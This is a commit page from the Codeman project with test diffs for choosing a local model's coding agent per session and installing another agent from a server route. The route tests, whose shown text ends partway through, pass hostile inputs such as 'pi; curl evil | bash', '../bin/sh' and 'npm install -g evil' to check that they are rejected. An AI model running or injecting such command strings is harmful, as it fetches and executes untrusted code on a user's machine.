feat(local-model): the coding agent is chosen per session, with Pi and DeepSeek Harness

An installed model knew one coding agent: the one it was installed with.
The launch check never asked about the agent, only about the endpoint
and the model, so nothing stopped a second one. What was missing is the
list, and a way to get an agent that is not on the Mac yet.

The install view gains `harnesses`: every catalogue harness the model in
use can be run with, each with how it stands (`ready`, `installable`,
`installing`, `setup-needed`), the literal install command, a readiness
mark for scripts, and the actions the server accepts for it. `cli` stays
the default agent, and names one that can be started whenever one can,
so a client that reads only `cli` never starts an agent that is gone.

`POST /api/local-model/agent { cli }` installs one more agent beside an
installed model. It is not a job and not an event of the reducer: the
state stays `installed` whatever the installer does, so a failed npm
install never blocks a session on a model that works. Same install slot
and same compiled stock command as the `agent` step, one at a time, the
outcome in memory only.

The catalogue:
- `pi` is no longer gated. Its two open questions were answered by a run
  against a real model (the `name:tag` id reaches the runtime unchanged;
  its first request is 2,096 tokens), and Codeman now passes it the
  window. Its minimum is 65536 like the others: nothing below was run,
  and no model row offers less, so no Mac's pick changes.
- `deepseek` is new. It is a launcher: its install command leaves it
  with nothing to launch, so it is never reported installable (read off
  `discovery.launcherProfile`, not the id) and a Mac is offered it only
  where it was already set up. Its tool round trip was seen on a
  scripted endpoint only; the header says how to gate it again.
- a row may carry `readyMark`; `opencode` has the measured one.

A switch no longer refuses for the agent a model was checked with when
another agent that can run it is on the Mac.

Co-Authored-By: Claude Fable 5.2 <noreply@anthropic.com>
This commit is contained in:
Codeman maintainer committed 2026-11-11 09:53:54 +01:00
1 parent a5a1b6f9a2
commit d22bfaaaaf
14 files changed
+1089 -71

No files matched your search

+21 -5
View File
@@ -294,12 +294,28 @@ describe('the stock catalogue', () => {
});
});
it('lists its harnesses as data rows, one of them gated', () => {
it('lists its harnesses as data rows: four, none gated, none below the smallest context a model offers', () => {
expect(STOCK_LOCAL_MODEL_CATALOG.harnesses).toEqual([
{ cli: 'opencode', minContext: 65536, rank: 3 },
{ cli: 'claude', minContext: 65536, rank: 2, slowFirstTurn: true },
{ cli: 'pi', minContext: 32768, rank: 1, gated: true },
{ cli: 'opencode', minContext: 65536, rank: 4, readyMark: '┃' },
{ cli: 'claude', minContext: 65536, rank: 3, slowFirstTurn: true },
{ cli: 'pi', minContext: 65536, rank: 2 },
{ cli: 'deepseek', minContext: 65536, rank: 1 },
]);
// No harness asks for less than a model can be offered at: nothing below 65536 was run.
const smallest = Math.min(...STOCK_LOCAL_MODEL_CATALOG.models.flatMap((model) => model.contexts));
for (const harness of STOCK_LOCAL_MODEL_CATALOG.harnesses) {
expect(harness.minContext).toBeGreaterThanOrEqual(smallest);
}
});
it('a readiness mark is one literal without white space', () => {
const spaced = copy();
spaced.harnesses[0] = { ...spaced.harnesses[0], readyMark: '/ commands' };
expect(issuesOf(spaced)).toHaveLength(1);
expect(issuesOf(spaced)[0]).toMatch(/^harnesses\.0\.readyMark: /);
const empty = copy();
empty.harnesses[0] = { ...empty.harnesses[0], readyMark: '' };
expect(issuesOf(empty)[0]).toMatch(/^harnesses\.0\.readyMark: /);
});
it('names the oldest macOS and its schema version', () => {
@@ -534,7 +550,7 @@ describe('the schema, across rows', () => {
it('refuses a harness listed twice and a repeated harness rank', () => {
const twice = copy();
twice.harnesses.push({ cli: twice.harnesses[0].cli, minContext: 32768, rank: 9 });
expect(issuesOf(twice)).toEqual(['harnesses.3.cli: a harness may be listed only once']);
expect(issuesOf(twice)).toEqual(['harnesses.4.cli: a harness may be listed only once']);
const sameRank = copy();
sameRank.harnesses[1] = { ...sameRank.harnesses[1], rank: sameRank.harnesses[0].rank };
+57
View File
@@ -187,6 +187,63 @@ describe('buildHarnessFacts', () => {
expect(byCli.get('omp')).toMatchObject({ installed: false, installable: false });
});
it('a launcher is never installable: its install command leaves it with nothing to launch', async () => {
// DeepSeek Harness is the stock launcher: its command needs no administrator, and it would
// still not be startable after it (it needs a profile, which is third-party code).
const launcher = stockEntry('deepseek');
expect(launcher.discovery.launcherProfile).toBeDefined();
expect(installCommandNeedsAdmin(darwinCommand(launcher) as string)).toBe(false);
const command = vi.fn(darwinCommand);
const [missing] = await buildHarnessFacts(catalogWith(['deepseek']), {
probeInstalled: installedOnly(),
installCommandFor: command,
});
expect(missing).toMatchObject({ cli: 'deepseek', installed: false, installable: false });
expect(missing).not.toHaveProperty('installCommand');
expect(command).not.toHaveBeenCalled();
// Set up by the person: it is a harness like the others.
const [there] = await buildHarnessFacts(catalogWith(['deepseek']), { probeInstalled: installedOnly('deepseek') });
expect(there).toMatchObject({ installed: true, installable: false });
// The rule reads the entry's data, not its id: any entry with a launcher profile, and no other.
const asLauncher = (id: string): CliEntry | undefined => {
const entry = getCli(id);
return entry
? { ...entry, discovery: { ...entry.discovery, launcherProfile: launcher.discovery.launcherProfile } }
: entry;
};
const [made] = await buildHarnessFacts(catalogWith(['opencode']), {
getCli: asLauncher,
probeInstalled: installedOnly(),
installCommandFor: darwinCommand,
});
expect(made.installable).toBe(false);
});
it('readyMark: the registry’s composer mark, only when it is one literal without white space', async () => {
const facts = await buildHarnessFacts(catalogWith(['opencode', 'claude', 'deepseek']), {
probeInstalled: installedOnly(),
});
const byCli = new Map(facts.map((f) => [f.cli, f]));
expect(byCli.get('claude')?.readyMark).toBe(stockEntry('claude').capabilities.composerReadyMark);
expect(byCli.get('deepseek')?.readyMark).toBe('❯');
// The registry declares none for opencode: the catalogue row carries the measured one.
expect(stockEntry('opencode').capabilities.composerReadyMark).toBeUndefined();
expect(byCli.get('opencode')).not.toHaveProperty('readyMark');
const spaced = (id: string): CliEntry | undefined => {
const entry = getCli(id);
return entry
? { ...entry, capabilities: { ...entry.capabilities, composerReadyMark: '/ commands · ? help' } }
: entry;
};
const [fact] = await buildHarnessFacts(catalogWith(['opencode']), {
getCli: spaced,
probeInstalled: installedOnly(),
});
expect(fact).not.toHaveProperty('readyMark');
});
it('installable is false without an install command, for a sudo command, and for a custom entry', async () => {
const command = vi.fn<(entry: CliEntry) => string | undefined>();
command.mockReturnValueOnce(undefined);
+200
View File
@@ -16,6 +16,7 @@ import { describe, expect, it } from 'vitest';
import {
allowedActions,
buildInstallError,
buildHarnessRows,
buildInstallView,
buildLibraryRows,
formatInstallMessage,
@@ -39,6 +40,8 @@ import {
LOCAL_MODEL_ERROR_NEXT,
LOCAL_MODEL_INSTALL_LABELS,
LOCAL_MODEL_INSTALL_STEPS,
type HarnessFact,
type LocalHarnessEntry,
type LocalModelAction,
type LocalModelErrorCode,
type LocalModelInstallState,
@@ -637,6 +640,7 @@ describe('buildInstallView', () => {
},
folder: '/Users/me/.codeman/local-model',
library: [],
harnesses: [],
actions: ['install'],
});
});
@@ -677,6 +681,7 @@ describe('buildInstallView', () => {
folder: '/Users/me/.codeman/local-model',
// The checked model of an earlier install: listed, with nothing to do while a job runs.
library: [{ ...OTHER_ROW, actions: [] }],
harnesses: [],
actions: ['cancel'],
model: { id: 'qwen3.6:35b-a3b', label: 'Qwen3.6 35B-A3B' },
context: 131072,
@@ -793,6 +798,9 @@ describe('buildInstallView', () => {
runtime: { version: '0.40.15', installed: true, downloadBytes: 0, downloadGb: '0.0', unpackedGb: '0.6' },
folder: '/Users/me/.codeman/local-model',
library: [ENTRY_ROW, OTHER_ROW],
// The live facts name no coding agents here (unknown): none is listed, and a session is
// still offered.
harnesses: [],
actions: ['start-session', 'stop', 'install', 'use', 'remove'],
model: { id: 'qwen3.6:35b-a3b', label: 'Qwen3.6 35B-A3B' },
context: 131072,
@@ -1089,6 +1097,198 @@ describe('buildLibraryRows', () => {
});
});
describe('buildHarnessRows: the coding agents of the model in use', () => {
const ROWS: LocalHarnessEntry[] = [
{ cli: 'opencode', minContext: 65536, rank: 4, readyMark: '┃' },
{ cli: 'claude', minContext: 65536, rank: 3, slowFirstTurn: true },
{ cli: 'pi', minContext: 65536, rank: 2 },
{ cli: 'deepseek', minContext: 65536, rank: 1 },
{ cli: 'later', minContext: 65536, rank: 0, gated: true },
];
const fact = (cli: string, label: string, extra: Partial<HarnessFact> = {}): HarnessFact => ({
cli,
label,
installed: false,
installable: false,
acceptsModelId: () => true,
...extra,
});
const FACTS: HarnessFact[] = [
fact('opencode', 'OpenCode', { installed: true }),
fact('claude', 'Claude Code', { installed: true, readyMark: 'shift+tab' }),
fact('pi', 'Pi', { installable: true, installCommand: 'npm install -g pi' }),
// A launcher without a profile: not startable, and one command does not make it so.
fact('deepseek', 'DeepSeek', { readyMark: '❯' }),
fact('later', 'Later', { installed: true }),
];
const rows = (
state: LocalModelStateFile = SAMPLE.installed,
facts: readonly HarnessFact[] = FACTS,
memory: Parameters<typeof buildHarnessRows>[3] = {}
) => buildHarnessRows(state, { harnesses: ROWS }, facts, memory);
it('lists every harness that is not gated, the default first, then by rank, each with how it stands', () => {
expect(rows()).toEqual([
{ cli: 'opencode', cliLabel: 'OpenCode', default: true, status: 'ready', readyMark: '┃', actions: [] },
{
cli: 'claude',
cliLabel: 'Claude Code',
default: false,
status: 'ready',
slowFirstTurn: true,
// No mark on the catalogue row: the CLI registry's own stands.
readyMark: 'shift+tab',
actions: [],
},
{
cli: 'pi',
cliLabel: 'Pi',
default: false,
status: 'installable',
installCommand: 'npm install -g pi',
actions: ['install'],
},
{ cli: 'deepseek', cliLabel: 'DeepSeek', default: false, status: 'setup-needed', readyMark: '❯', actions: [] },
]);
});
it('is empty in every state but installed', () => {
for (const state of ['idle', 'installing', 'paused', 'failed'] as const) {
expect(rows(SAMPLE[state])).toEqual([]);
}
});
it('leaves out a harness without a fact, one the model is too small for, and one that refuses its name', () => {
const small: LocalModelStateFile = { ...SAMPLE.installed, model: { ...MODEL, context: 32768 } };
expect(rows(small)).toEqual([]);
expect(rows(SAMPLE.installed, FACTS.slice(0, 1)).map((row) => row.cli)).toEqual(['opencode']);
const picky = FACTS.map((entry) => (entry.cli === 'claude' ? { ...entry, acceptsModelId: () => false } : entry));
expect(rows(SAMPLE.installed, picky).map((row) => row.cli)).toEqual(['opencode', 'pi', 'deepseek']);
const throwing = FACTS.map((entry) =>
entry.cli === 'claude'
? {
...entry,
acceptsModelId: () => {
throw new Error('bad recipe');
},
}
: entry
);
expect(rows(SAMPLE.installed, throwing).map((row) => row.cli)).toEqual(['opencode', 'pi', 'deepseek']);
});
it('the default is the agent of the installation while it can be started, else the first that can', () => {
const withClaude: LocalModelStateFile = { ...SAMPLE.installed, cli: { id: 'claude', label: 'Claude Code' } };
expect(rows(withClaude).map((row) => [row.cli, row.default])).toEqual([
['claude', true],
['opencode', false],
['pi', false],
['deepseek', false],
]);
// The agent of the installation was uninstalled: a client that names none starts another.
const gone = FACTS.map((entry) =>
entry.cli === 'opencode'
? fact('opencode', 'OpenCode', { installable: true, installCommand: 'curl x | bash' })
: entry
);
expect(rows(SAMPLE.installed, gone).map((row) => [row.cli, row.default, row.status])).toEqual([
['claude', true, 'ready'],
['opencode', false, 'installable'],
['pi', false, 'installable'],
['deepseek', false, 'setup-needed'],
]);
// Nothing can be started: the default stays the agent of the installation.
const none = FACTS.map((entry) => fact(entry.cli, entry.label, { installable: true, installCommand: 'x' }));
expect(rows(SAMPLE.installed, none).find((row) => row.default)?.cli).toBe('opencode');
});
it('while one installer runs: that row says installing with its command, and no other row offers an install', () => {
const both = FACTS.map((entry) =>
entry.cli === 'deepseek' ? fact('deepseek', 'DeepSeek', { installable: true, installCommand: 'y' }) : entry
);
const during = rows(SAMPLE.installed, both, { running: 'pi' });
expect(during.find((row) => row.cli === 'pi')).toMatchObject({
status: 'installing',
installCommand: 'npm install -g pi',
actions: [],
});
expect(during.find((row) => row.cli === 'deepseek')).toMatchObject({ status: 'installable', actions: [] });
// The installer has landed and the memory has not caught up: the fact wins.
const landed = both.map((entry) => (entry.cli === 'pi' ? fact('pi', 'Pi', { installed: true }) : entry));
expect(rows(SAMPLE.installed, landed, { running: 'pi' }).find((row) => row.cli === 'pi')).toMatchObject({
status: 'ready',
});
});
it("a failed install stays on its row with the installer's last words, until the agent is there", () => {
const failed = { failed: { pi: { detail: 'npm ERR! network' } } };
expect(rows(SAMPLE.installed, FACTS, failed).find((row) => row.cli === 'pi')).toMatchObject({
status: 'installable',
actions: ['install'],
error: {
message: { text: LOCAL_MODEL_INSTALL_LABELS.errHarnessFailed, vars: { cli: 'Pi' } },
detail: 'npm ERR! network',
},
});
const there = FACTS.map((entry) => (entry.cli === 'pi' ? fact('pi', 'Pi', { installed: true }) : entry));
expect(rows(SAMPLE.installed, there, failed).find((row) => row.cli === 'pi')).not.toHaveProperty('error');
});
it('the view: an agent that can be started offers a session exactly when the model does', () => {
const harnesses = rows();
const up = buildInstallView(SAMPLE.installed, { ...LIVE, running: true, digest: 'same', harnesses });
expect(up.harnesses.map((row) => [row.cli, row.actions])).toEqual([
['opencode', ['start-session']],
['claude', ['start-session']],
['pi', ['install']],
['deepseek', []],
]);
expect(up.actions).toContain('install-agent');
expect(up.actions).toContain('start-session');
// A stopped runtime: nothing is started, an agent can still be installed.
const down = buildInstallView(SAMPLE.installed, { ...LIVE, running: false, harnesses });
expect(down.harnesses.map((row) => row.actions)).toEqual([[], [], ['install'], []]);
expect(down.actions).not.toContain('start-session');
expect(down.actions).toContain('install-agent');
// The live facts are not changed by the view.
expect(harnesses[0].actions).toEqual([]);
});
it('the view: with no agent that can be started no session is offered, and `cli` names the default row', () => {
const none = FACTS.map((entry) => fact(entry.cli, entry.label, { installable: true, installCommand: 'x' }));
const view = buildInstallView(SAMPLE.installed, {
...LIVE,
running: true,
digest: 'same',
harnesses: rows(SAMPLE.installed, none),
});
expect(view.actions).not.toContain('start-session');
expect(view.actions).toContain('install-agent');
expect(view.cli).toBe('opencode');
const gone = FACTS.map((entry) =>
entry.cli === 'opencode' ? fact('opencode', 'OpenCode', { installable: true, installCommand: 'x' }) : entry
);
const other = buildInstallView(SAMPLE.installed, {
...LIVE,
running: true,
digest: 'same',
harnesses: rows(SAMPLE.installed, gone),
});
// What an older client reads as "the agent to start": one that is there.
expect([other.cli, other.cliLabel]).toEqual(['claude', 'Claude Code']);
expect(other.actions).toContain('start-session');
});
it('install-agent is an action of the installed state only', () => {
for (const state of Object.keys(INSTALL_STATE_TABLE) as LocalModelInstallState[]) {
expect(INSTALL_STATE_TABLE[state].actions.includes('install-agent')).toBe(state === 'installed');
}
// Listed only while a row offers it.
expect(allowedActions(SAMPLE.installed, { ...LIVE, running: true })).not.toContain('install-agent');
});
});
describe('markLibraryCandidates', () => {
const candidate = (modelId: string, context: number) => ({ modelId, context }) as Recommendation['alternatives'][0];
const view = buildInstallView(SAMPLE.installed, { ...LIVE, running: true });
+237 -2
View File
@@ -253,7 +253,9 @@ function setup(
) {
const store = memoryStore(options.state);
const world = {
agentInstalled: options.agentInstalled ?? false,
// A model that is installed was installed with its coding agent: what the world holds
// then, unless the test says the agent has gone since.
agentInstalled: options.agentInstalled ?? options.state?.state === 'installed',
runtimeOnDisk: options.runtimeOnDisk ?? false,
clock: 1_000_000,
startResult: undefined as RuntimeStartResult | undefined,
@@ -294,7 +296,22 @@ function setup(
const deps = {
readHardware: vi.fn(async () => MAC),
getCatalog: vi.fn(() => CATALOG),
buildHarnessFacts: vi.fn(async () => FACTS),
// The facts follow the world, like the real probe: an agent that is on this Mac is not
// offered for install, and one that is missing is.
buildHarnessFacts: vi.fn(
async (): Promise<HarnessFact[]> =>
FACTS.map((fact) =>
world.agentInstalled
? {
cli: fact.cli,
label: fact.label,
installed: true,
installable: false,
acceptsModelId: fact.acceptsModelId,
}
: fact
)
),
recommend: vi.fn(() => recommendation(world.agentInstalled)),
modelFitsBudget: vi.fn(() => true),
isRuntimeInstalled: vi.fn(async () => world.runtimeOnDisk),
@@ -1771,6 +1788,7 @@ describe('Remove', () => {
library: [],
// Measured again after the Remove: the store is empty here.
store: { bytes: 0, gb: '0.0' },
harnesses: [],
actions: ['install'],
});
expect(h.store.get()).toMatchObject({ schema: 1, state: 'idle' });
@@ -3035,6 +3053,23 @@ describe('use: the switch to a checked model', () => {
expect(withoutPi.store.get().cli).toEqual({ id: 'opencode', label: 'OpenCode' });
});
it('with neither of the two installed it takes another agent the model can be run with that is on this Mac', async () => {
const h = setup({ state: TWO_MODELS, runtimeOnDisk: true, agentInstalled: false });
// OpenCode has gone; Claude Code, the catalogue's other harness, is there.
h.deps.buildHarnessFacts.mockImplementation(async () => [
FACTS[0],
{ cli: 'claude', label: 'Claude Code', installed: true, installable: false, acceptsModelId: () => true },
]);
await h.service.boot();
expect((await h.service.use({ modelId: GPT.id }, ADMIN)).ok).toBe(true);
await h.service.idle();
expect(h.store.get()).toMatchObject({
state: 'installed',
model: { id: GPT.id },
cli: { id: 'claude', label: 'Claude Code' },
});
});
it('with no coding agent of the two installed it is refused, in one sentence, and nothing starts', async () => {
const h = setup({ state: TWO_MODELS, runtimeOnDisk: true, agentInstalled: false });
await h.service.boot();
@@ -3100,6 +3135,206 @@ describe('use: the switch to a checked model', () => {
});
});
describe('installAgent: one more coding agent beside an installed model', () => {
/** An installed, running model whose coding agent is not on this Mac. */
async function withoutAgent() {
const h = setup({ state: INSTALLED, runtimeOnDisk: true, agentInstalled: false });
await h.service.boot();
return h;
}
it('the view offers it: the agent with its literal command, no session, and the state untouched', async () => {
const h = await withoutAgent();
const view = await h.service.view();
expect(view.state).toBe('installed');
expect(view.harnesses).toEqual([
{
cli: 'opencode',
cliLabel: 'OpenCode',
default: true,
status: 'installable',
installCommand: INSTALL_COMMAND,
actions: ['install'],
},
]);
expect(view.actions).toContain('install-agent');
// Nothing can be started, so no session is offered: the window says "Install OpenCode".
expect(view.actions).not.toContain('start-session');
});
it('answers once the installer is started, runs the stock command in the shared slot, and ends on an agent that can be started', async () => {
const h = await withoutAgent();
let finish: () => void = () => {};
h.deps.runInstallCommand.mockImplementation(
() =>
new Promise((resolve) => {
finish = () => {
h.world.agentInstalled = true;
resolve({ code: 0, output: 'opencode installed\n', timedOut: false, aborted: false });
};
})
);
const before = structuredClone(h.store.get());
const started = await h.service.installAgent({ cli: 'opencode' }, ADMIN);
expect(started.ok).toBe(true);
if (!started.ok) throw new Error('unreachable');
// While it runs: the row says so, nothing else is offered for it, and the model is as it was.
expect(started.view.state).toBe('installed');
expect(started.view.harnesses[0]).toMatchObject({
status: 'installing',
installCommand: INSTALL_COMMAND,
actions: [],
});
expect(started.view.actions).not.toContain('install-agent');
await vi.waitFor(() => expect(h.deps.runInstallCommand).toHaveBeenCalledTimes(1));
const [command, options] = h.deps.runInstallCommand.mock.calls[0] as unknown as [string, { signal: AbortSignal }];
expect(command).toBe(INSTALL_COMMAND);
expect(options.signal).toBeInstanceOf(AbortSignal);
expect(h.deps.tryBeginCliInstall).toHaveBeenCalledWith('opencode');
// Not a job: a session on the model is still not refused.
expect(await h.service.launchRefusal('local-ollama')).toBeUndefined();
finish();
await h.service.idle();
const view = await h.service.view();
expect(view.harnesses).toEqual([
{ cli: 'opencode', cliLabel: 'OpenCode', default: true, status: 'ready', actions: ['start-session'] },
]);
expect(view.actions).toContain('start-session');
expect(h.calls).toContain('release');
expect(h.deps.audit).toHaveBeenCalledWith(
expect.objectContaining({
admin: ADMIN.username,
action: 'cli_install',
target: 'opencode',
detail: expect.objectContaining({ command: INSTALL_COMMAND, exitCode: 0, via: 'local-model' }),
})
);
// The state file never heard of it (the pid and the time of a write aside, nothing moved).
expect(h.store.get()).toEqual(before);
});
it('an installer that fails leaves the model installed and usable, and its last words on the row', async () => {
const h = await withoutAgent();
h.deps.runInstallCommand.mockResolvedValue({
code: 1,
output: 'npm ERR! network request failed',
timedOut: false,
aborted: false,
});
expect((await h.service.installAgent({ cli: 'opencode' }, ADMIN)).ok).toBe(true);
await h.service.idle();
const view = await h.service.view();
expect(view.state).toBe('installed');
expect(view).not.toHaveProperty('error');
expect(view.harnesses[0]).toMatchObject({
status: 'installable',
actions: ['install'],
error: {
message: { text: LOCAL_MODEL_INSTALL_LABELS.errHarnessFailed, vars: { cli: 'OpenCode' } },
detail: 'npm ERR! network request failed',
},
});
expect(h.store.get().state).toBe('installed');
expect(await h.service.launchRefusal('local-ollama')).toBeUndefined();
// Try again: the old failure is gone the moment the new attempt starts, and it can work.
h.deps.runInstallCommand.mockImplementation(async () => {
h.world.agentInstalled = true;
return { code: 0, output: '', timedOut: false, aborted: false };
});
const again = await h.service.installAgent({ cli: 'opencode' }, ADMIN);
if (!again.ok) throw new Error('unreachable');
expect(again.view.harnesses[0]).not.toHaveProperty('error');
await h.service.idle();
expect((await h.service.view()).harnesses[0]).toMatchObject({ status: 'ready' });
});
it('one installer at a time: a second request while one runs is 409 job-running', async () => {
const h = await withoutAgent();
let finish: () => void = () => {};
h.deps.runInstallCommand.mockImplementation(
() =>
new Promise((resolve) => {
finish = () => resolve({ code: 1, output: 'stopped', timedOut: false, aborted: false });
})
);
expect((await h.service.installAgent({ cli: 'opencode' }, ADMIN)).ok).toBe(true);
expect(await h.service.installAgent({ cli: 'opencode' }, ADMIN)).toMatchObject({
ok: false,
status: 409,
conflict: { reason: 'job-running' },
});
await vi.waitFor(() => expect(h.deps.runInstallCommand).toHaveBeenCalledTimes(1));
finish();
await h.service.idle();
expect(h.deps.runInstallCommand).toHaveBeenCalledTimes(1);
});
it('an agent that is already there answers with the view and runs nothing', async () => {
const h = setup({ state: INSTALLED, runtimeOnDisk: true });
await h.service.boot();
const result = await h.service.installAgent({ cli: 'opencode' }, ADMIN);
expect(result.ok).toBe(true);
expect(h.deps.runInstallCommand).not.toHaveBeenCalled();
expect(h.deps.tryBeginCliInstall).not.toHaveBeenCalled();
});
it('refuses an agent the view does not list, and one that one command does not make startable', async () => {
const h = await withoutAgent();
// `claude` is a catalogue harness with no fact here (the registry does not offer it).
for (const cli of ['claude', 'not-a-cli']) {
expect(await h.service.installAgent({ cli }, ADMIN)).toEqual({
ok: false,
status: 400,
message: { text: LOCAL_MODEL_INSTALL_LABELS.refusedAgentNotOffered },
});
}
// A launcher, or a command that needs an administrator: listed, never installed from here.
h.deps.buildHarnessFacts.mockImplementation(async () => [
{ cli: 'opencode', label: 'OpenCode', installed: false, installable: false, acceptsModelId: () => true },
]);
expect((await h.service.view()).harnesses[0]).toMatchObject({ status: 'setup-needed', actions: [] });
expect(await h.service.installAgent({ cli: 'opencode' }, ADMIN)).toEqual({
ok: false,
status: 400,
message: { text: LOCAL_MODEL_INSTALL_LABELS.refusedAgentNotInstallable, vars: { cli: 'OpenCode' } },
});
expect(h.deps.runInstallCommand).not.toHaveBeenCalled();
});
it('is refused outside installed: 409 wrong-state', async () => {
for (const state of [undefined, jobAt('model', 'paused')]) {
const h = setup(state ? { state } : {});
expect(await h.service.installAgent({ cli: 'opencode' }, ADMIN)).toMatchObject({
ok: false,
status: 409,
conflict: { reason: 'wrong-state' },
});
expect(h.deps.runInstallCommand).not.toHaveBeenCalled();
}
});
it('a server that stops ends the installer and records nothing', async () => {
const h = await withoutAgent();
let seen: AbortSignal | undefined;
h.deps.runInstallCommand.mockImplementation((async (_command: string, options?: { signal?: AbortSignal }) => {
seen = options?.signal;
await untilAborted(options?.signal);
return { code: null, output: '', timedOut: false, aborted: true };
}) as never);
await h.service.installAgent({ cli: 'opencode' }, ADMIN);
await vi.waitFor(() => expect(seen).toBeDefined());
await h.service.shutdown();
expect(seen?.aborted).toBe(true);
await h.service.idle();
expect(h.store.get().state).toBe('installed');
// Interrupted is not failed: the row has no error.
expect((await h.service.view()).harnesses[0]).not.toHaveProperty('error');
});
});
describe('deleteLibraryModel: one model out of the store', () => {
async function twoModelsRunning() {
const h = setup({ state: TWO_MODELS, runtimeOnDisk: true, agentInstalled: true });
+17 -3
View File
@@ -150,7 +150,12 @@ function without(facts: HardwareFacts, ...fields: (keyof HardwareFacts)[]): Hard
}
/** Display labels of the stock harnesses, as the CLI registry would supply them. Data, not a branch. */
const HARNESS_LABELS: Record<string, string> = { opencode: 'OpenCode', claude: 'Claude Code', pi: 'Pi' };
const HARNESS_LABELS: Record<string, string> = {
opencode: 'OpenCode',
claude: 'Claude Code',
pi: 'Pi',
deepseek: 'DeepSeek',
};
/** What the server knows about one harness: installed and accepting every model id, unless overridden. */
function fact(cli: string, overrides: Partial<HarnessFact> = {}): HarnessFact {
@@ -170,7 +175,10 @@ const STOCK = getLocalModelCatalog();
/** The frozen catalogue of 2026-11-06: for the rule tests (see the file header). */
const RULES = LocalModelCatalogSchema.parse(RULES_LOCAL_MODEL_CATALOG);
/** Every harness installed, the gated one included. Both catalogues list the same three. */
/**
* Every harness installed. The stock catalogue lists four and gates none; the rules catalogue
* lists the first three of them and gates one, which is what the gate tests need.
*/
const ALL_INSTALLED: HarnessFact[] = STOCK.harnesses.map((row) => fact(row.cli));
/** A stock model row by id. */
@@ -595,9 +603,12 @@ describe('the MacBook Pro (Mac17,13: Apple M5 Pro, 48 GB)', () => {
tested: true,
needSource: 'measured',
tag: { kind: 'tested', label: 'Tested on a Mac like this' },
// Every harness of the catalogue can run it, the pick's own first, then by rank.
harnesses: [
{ cli: 'opencode', cliLabel: 'OpenCode', installed: true },
{ cli: 'claude', cliLabel: 'Claude Code', installed: true, slowFirstTurn: true },
{ cli: 'pi', cliLabel: 'Pi', installed: true },
{ cli: 'deepseek', cliLabel: 'DeepSeek', installed: true },
],
// No runtime download was named, so an install downloads the model alone.
installBytes: 23_105_798_956,
@@ -1642,9 +1653,12 @@ describe('harnesses', () => {
const hw = mac(48, 'Apple M4 Max');
it('never chooses a gated harness, even when it is the only one that could run a model', () => {
// The rule is tested on the rules catalogue, which gates one harness. The stock catalogue
// gates none since 2026-11-10; the sweep still runs on it, so a row gated again is covered.
expect(RULES.harnesses.filter((row) => row.gated).map((row) => row.cli)).toEqual(['pi']);
expect(STOCK.harnesses.filter((row) => row.gated)).toEqual([]);
for (const [, catalog] of BOTH) {
const gated = catalog.harnesses.filter((row) => row.gated).map((row) => row.cli);
expect(gated).toEqual(['pi']);
for (const swept of SWEEP) {
const result = recommend(swept, catalog, ALL_INSTALLED);
for (const candidate of rows(result)) {
+78 -1
View File
@@ -156,6 +156,7 @@ const IDLE_VIEW: LocalModelInstallView = {
runtime: { version: '0.40.15', installed: false, downloadBytes: 185971671, downloadGb: '0.2', unpackedGb: '0.6' },
folder: '/Users/me/.codeman/local-model',
library: [],
harnesses: [],
actions: ['install'],
};
@@ -185,6 +186,7 @@ function fakeService(): ServiceMock {
install: vi.fn(async () => OK_RESULT),
use: vi.fn(async () => OK_RESULT),
deleteLibraryModel: vi.fn(async () => OK_RESULT),
installAgent: vi.fn(async () => OK_RESULT),
cancel: vi.fn(async () => OK_RESULT),
resume: vi.fn(async () => OK_RESULT),
runtime: vi.fn(async () => OK_RESULT),
@@ -284,8 +286,21 @@ describe('GET /api/local-model', () => {
const res = await get(f.deps);
expect(res.json().data.install).toEqual(INSTALLING_VIEW);
expect(f.service.view).toHaveBeenCalledTimes(1);
// The facts built for the recommendation are the ones the view lists its coding agents
// from: the availability probe is asked once per answer, not twice.
expect(f.service.view).toHaveBeenCalledWith({ harnessFacts: FACTS });
expect(f.buildHarnessFacts).toHaveBeenCalledTimes(1);
// Looking is not doing: no verb of the service was called.
for (const verb of ['install', 'cancel', 'resume', 'runtime', 'remove', 'boot', 'shutdown'] as const) {
for (const verb of [
'install',
'installAgent',
'cancel',
'resume',
'runtime',
'remove',
'boot',
'shutdown',
] as const) {
expect(f.service[verb]).not.toHaveBeenCalled();
}
});
@@ -565,6 +580,7 @@ describe('the install verbs', () => {
url: '/api/local-model/models',
payload: { modelId: 'qwen3.8:27b' },
},
{ name: 'installAgent', method: 'POST', url: '/api/local-model/agent', payload: { cli: 'pi' } },
{ name: 'cancel', method: 'POST', url: '/api/local-model/cancel', payload: undefined },
{ name: 'resume', method: 'POST', url: '/api/local-model/resume', payload: {} },
{ name: 'runtime', method: 'POST', url: '/api/local-model/runtime', payload: { action: 'stop' } },
@@ -996,6 +1012,67 @@ describe('the library verbs', () => {
});
});
describe('POST /api/local-model/agent', () => {
it('hands the service the coding agent and who asked, and looks at no session', async () => {
const f = fakes();
const { app } = await harness(f.deps, { username: 'alice', role: 'admin' }, SESSIONS);
await app.inject({ method: 'POST', url: '/api/local-model/agent', payload: { cli: 'pi' } });
// Nothing about the model in use changes, so live sessions on it do not matter.
expect(f.service.installAgent).toHaveBeenCalledWith({ cli: 'pi' }, { username: 'alice', ip: '127.0.0.1' });
});
it('an agent the server does not offer is a 400 with the sentence, as text and as data', async () => {
const f = fakes();
f.service.installAgent.mockResolvedValue({
ok: false,
status: 400,
message: { text: LOCAL_MODEL_INSTALL_LABELS.refusedAgentNotInstallable, vars: { cli: 'DeepSeek' } },
});
const { app } = await harness(f.deps);
const res = await app.inject({ method: 'POST', url: '/api/local-model/agent', payload: { cli: 'deepseek' } });
expect(res.statusCode).toBe(400);
expect(res.json()).toEqual({
success: false,
error: 'DeepSeek is not installed and cannot be installed from here.',
errorCode: 'INVALID_INPUT',
data: {
message: {
text: '{cli} is not installed and cannot be installed from here.',
vars: { cli: 'DeepSeek' },
},
},
});
});
it('an installer that already runs is a 409 with the reason', async () => {
const f = fakes();
f.service.installAgent.mockResolvedValue({
ok: false,
status: 409,
conflict: { reason: 'job-running', message: { text: LOCAL_MODEL_INSTALL_LABELS.conflictJobRunning } },
});
const { app } = await harness(f.deps);
const res = await app.inject({ method: 'POST', url: '/api/local-model/agent', payload: { cli: 'pi' } });
expect(res.statusCode).toBe(409);
expect(res.json()).toMatchObject({ success: false, errorCode: 'CONFLICT', data: { reason: 'job-running' } });
});
it.each([
['no body', undefined],
['no agent', {}],
['a command', { cli: 'pi; curl evil | bash' }],
['a path', { cli: '../bin/sh' }],
['an upper-case id', { cli: 'Pi' }],
['a command of its own', { cli: 'pi', command: 'npm install -g evil' }],
